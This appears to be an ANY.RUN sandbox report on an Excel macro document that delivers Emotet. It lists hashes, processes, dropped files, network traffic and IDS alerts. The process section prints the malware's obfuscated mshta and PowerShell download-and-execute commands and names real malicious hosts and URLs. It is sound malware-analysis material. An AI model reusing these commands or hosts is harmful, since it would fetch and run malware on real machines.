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File name:

ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls

Full analysis: https://app.any.run/tasks/79ab0da2-cb43-4cd7-bcef-fea36f3bfe39
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 24, 2022, 17:51:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros40
loader
trojan
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 20 19:00:43 2022, Last Saved Time/Date: Thu Jan 20 19:07:37 2022, Security: 0
MD5:

3F7F1F6050609317474B8F48EFA00E88

SHA1:

C95BFBC3794A4371D3B5A6702052D662DEE19A15

SHA256:

ADE5C2C45C5BBAE939364326AE43A74C8B0C93307B7C653B12B80CBE8E891B70

SSDEEP:

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 2200)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2200)
    • Executes PowerShell scripts

      • mshta.exe (PID: 188)
    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 3640)
      • rundll32.exe (PID: 1992)
      • rundll32.exe (PID: 2728)
      • rundll32.exe (PID: 1344)
      • rundll32.exe (PID: 2108)
    • Connects to CnC server

      • rundll32.exe (PID: 2108)
    • Changes the autorun value in the registry

      • rundll32.exe (PID: 2108)
  • SUSPICIOUS

    • Reads default file associations for system extensions

      • SearchProtocolHost.exe (PID: 3640)
      • EXCEL.EXE (PID: 2200)
    • Checks supported languages

      • mshta.exe (PID: 188)
      • cmd.exe (PID: 340)
      • powershell.exe (PID: 2788)
      • cmd.exe (PID: 2460)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 340)
    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 188)
    • Reads the computer name

      • powershell.exe (PID: 2788)
      • mshta.exe (PID: 188)
    • Reads Environment values

      • powershell.exe (PID: 2788)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 2788)
    • Drops a file with a compile date too recent

      • powershell.exe (PID: 2788)
      • rundll32.exe (PID: 1992)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2788)
      • rundll32.exe (PID: 1992)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2460)
      • rundll32.exe (PID: 2728)
      • rundll32.exe (PID: 1992)
      • rundll32.exe (PID: 1344)
    • Starts itself from another location

      • rundll32.exe (PID: 2728)
    • Application launched itself

      • rundll32.exe (PID: 1344)
      • rundll32.exe (PID: 1992)
  • INFO

    • Reads the computer name

      • EXCEL.EXE (PID: 2200)
      • rundll32.exe (PID: 1992)
      • rundll32.exe (PID: 2108)
    • Checks supported languages

      • EXCEL.EXE (PID: 2200)
      • rundll32.exe (PID: 1992)
      • rundll32.exe (PID: 2728)
      • rundll32.exe (PID: 1344)
      • rundll32.exe (PID: 2108)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 2200)
    • Reads internet explorer settings

      • mshta.exe (PID: 188)
      • EXCEL.EXE (PID: 2200)
    • Checks Windows Trust Settings

      • powershell.exe (PID: 2788)
      • EXCEL.EXE (PID: 2200)
      • rundll32.exe (PID: 2108)
    • Reads Microsoft Outlook installation path

      • EXCEL.EXE (PID: 2200)
    • Reads settings of System Certificates

      • rundll32.exe (PID: 2108)
      • EXCEL.EXE (PID: 2200)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2200)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 2
  • Excel 4.0 Macros
  • 1
TitleOfParts:
  • Sheet2
  • Sheet1
  • BLC
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2022:01:20 19:07:37
CreateDate: 2022:01:20 19:00:43
Software: Microsoft Excel
LastModifiedBy: xXx
Author: xXx
No data.
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Total processes
49
Monitored processes
10
Malicious processes
5
Suspicious processes
3

Behavior graph

Click at the process to see the details
start excel.exe cmd.exe no specs mshta.exe powershell.exe searchprotocolhost.exe no specs cmd.exe no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs rundll32.exe

Process information

PID
CMD
Path
Indicators
Parent process
2200"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Explorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
340cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.htmlC:\Windows\system32\cmd.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
188mshta http://0xb907d607/fer/fe2.htmlC:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
2788"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3640"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exeSearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Exit code:
0
Version:
7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211)
Modules
Images
c:\windows\system32\searchprotocolhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2460"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\system32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2728C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\SysWow64\rundll32.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\imagehlp.dll
1992C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
1344C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Gfdrrmwlhiy\vbwnaizgeifj.obf",PBDsCKC:\Windows\system32\rundll32.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
2108C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Gfdrrmwlhiy\vbwnaizgeifj.obf",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
34 640
Read events
24 408
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
11
Text files
20
Unknown types
5

Dropped files

PID
Process
Filename
Type
2200EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR2E8F.tmp.cvr
MD5:
SHA256:
2200EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.datini
MD5:105A209345F69A8DF243BCB9A739ABC2
SHA256:C114D70146ED4D9DA72D86BD4E967168433A825020139060BC3E630F58DE83C9
188mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\fe2[1].htmbinary
MD5:9F303AED27F68A19797E11246A1EDE5B
SHA256:6C10CCD246F588BE4BBBCF68605023CDFEAE0A210C0ED96836A2B2CE6340268B
2200EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls.LNKlnk
MD5:678B9D4C8C50CF275A80FC30A225B71A
SHA256:992F02DF9112C89C98261066F6BE9D044301E90CB9F757CC0A50E0D004D82321
2200EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E6D7B917.tmpxml
MD5:16C0A8BD0EB90401B5946B57B9C36DD1
SHA256:6F5D6ABCBE272C6B4591A3D70801213520FE4205EF7AC8540A1DDE3BD618D68D
2788powershell.exeC:\Users\admin\AppData\Local\Temp\vmbq2avx.ajw.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
2200EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FE22A38.tmpxml
MD5:3032D48148483583CEF9DBEF3807646F
SHA256:0D4EEF78EFB14EB5A792383EE48C33CF5D2A4F1F643FEB60584261AC4304A439
2200EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BFF2902C.tmpxml
MD5:10BE0D1898A65A30F19E59DC68781523
SHA256:56B76E32CEA88646BA8A5504D6B0166A243C9F47F2628266810FDA863EF85391
2200EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7D36506.tmpxml
MD5:16C0A8BD0EB90401B5946B57B9C36DD1
SHA256:6F5D6ABCBE272C6B4591A3D70801213520FE4205EF7AC8540A1DDE3BD618D68D
2200EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B3CCDF61.tmpxml
MD5:3032D48148483583CEF9DBEF3807646F
SHA256:0D4EEF78EFB14EB5A792383EE48C33CF5D2A4F1F643FEB60584261AC4304A439
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HTTP(S) requests
7
TCP/UDP connections
10
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
188
mshta.exe
GET
200
185.7.214.7:80
http://185.7.214.7/fer/fe2.html
FR
binary
10.8 Kb
malicious
2788
powershell.exe
GET
200
185.7.214.7:80
http://185.7.214.7/fer/fe2.png
FR
text
1011 b
malicious
2788
powershell.exe
GET
200
172.67.153.105:80
http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTk/
US
executable
612 Kb
suspicious
2200
EXCEL.EXE
GET
200
52.109.32.63:80
http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={538F6C89-2AD5-4006-8154-C6670774E980}&build=14.0.6023
GB
xml
1.96 Kb
whitelisted
2108
rundll32.exe
GET
200
209.197.3.8:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?584fc59e118e3617
US
compressed
4.70 Kb
whitelisted
2200
EXCEL.EXE
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA%2BnRyLFPYjID1ie%2Bx%2BdSjo%3D
US
der
1.47 Kb
whitelisted
2108
rundll32.exe
GET
200
209.197.3.8:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?14d708eb8ede0bc0
US
compressed
59.9 Kb
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2108
rundll32.exe
209.197.3.8:80
ctldl.windowsupdate.com
Highwinds Network Group, Inc.
US
whitelisted
188
mshta.exe
185.7.214.7:80
Qual.it S.a.s.
FR
malicious
2788
powershell.exe
172.67.153.105:80
hindimedia.in
US
suspicious
2788
powershell.exe
185.7.214.7:80
Qual.it S.a.s.
FR
malicious
2108
rundll32.exe
131.100.24.231:80
GOPLEX TELECOMUNICACOES E INTERNET LTDA - ME
BR
malicious
2200
EXCEL.EXE
52.109.32.63:80
office14client.microsoft.com
Microsoft Corporation
GB
whitelisted
2200
EXCEL.EXE
52.109.8.27:443
rr.office.microsoft.com
Microsoft Corporation
US
whitelisted
2200
EXCEL.EXE
93.184.220.29:80
ocsp.digicert.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted

DNS requests

Domain
IP
Reputation
hindimedia.in
  • 172.67.153.105
  • 104.21.82.47
suspicious
ctldl.windowsupdate.com
  • 209.197.3.8
whitelisted
office14client.microsoft.com
  • 52.109.32.63
whitelisted
rr.office.microsoft.com
  • 52.109.8.27
whitelisted
ocsp.digicert.com
  • 93.184.220.29
whitelisted

Threats

PID
Process
Class
Message
2788
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2788
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2788
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2108
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 5
9 ETPRO signatures available at the full report
No debug info